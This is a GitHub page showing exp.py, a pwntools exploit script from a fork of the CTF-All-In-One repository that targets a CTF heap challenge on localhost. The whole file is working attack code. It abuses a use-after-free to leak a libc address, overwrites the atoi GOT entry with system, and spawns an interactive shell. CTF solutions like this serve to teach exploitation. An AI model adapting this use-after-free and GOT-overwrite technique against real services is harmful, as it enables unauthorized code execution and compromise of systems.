forked from firmianay/CTF-All-In-One
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexp.py
82 lines (64 loc) · 1.54 KB
/
exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python
from pwn import *
# context.log_level = 'debug'
p = remote('127.0.0.1', 10001)
# p = process('./main.elf')
def alloc(name, attack = 1, defense = 2, speed = 3, precision = 4):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('name: ')
p.sendline(name)
p.recvuntil('points: ')
p.sendline(str(attack))
p.recvuntil('points: ')
p.sendline(str(defense))
p.recvuntil('speed: ')
p.sendline(str(speed))
p.recvuntil('precision: ')
p.sendline(str(precision))
def free(idx):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('index: ')
p.sendline(str(idx))
def select(idx):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('index: ')
p.sendline(str(idx))
def edit(name):
p.recvuntil('choice: ')
p.sendline('4')
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('name: ')
p.sendline(name)
def show():
p.recvuntil('choice: ')
p.sendline('5')
# gdb.attach(p, '''
# b *0x00402205
# c
# ''')
atoi_got = 0x603110
alloc('A' * 0x60)
alloc('B' * 0x80)
alloc('C' * 0x80)
select(1)
free(1)
show()
p.recvuntil('Name: ')
leak = u64(p.recv(6).ljust(8, '\x00'))
libc = leak - 0x3c4b78 # 0x3c4b78 = leak - libc
system = libc + 0x045390 # $ readelf -s libc-2.23.so | grep system@
log.info("leak => 0x%x" % leak)
log.info("libc => 0x%x" % libc)
log.info("system => 0x%x" % system)
free(2)
alloc('D'*16 + p64(atoi_got))
# atoi@got -> system@got
edit(p64(system))
# get shell
p.recvuntil('choice: ')
p.sendline('sh')
p.interactive()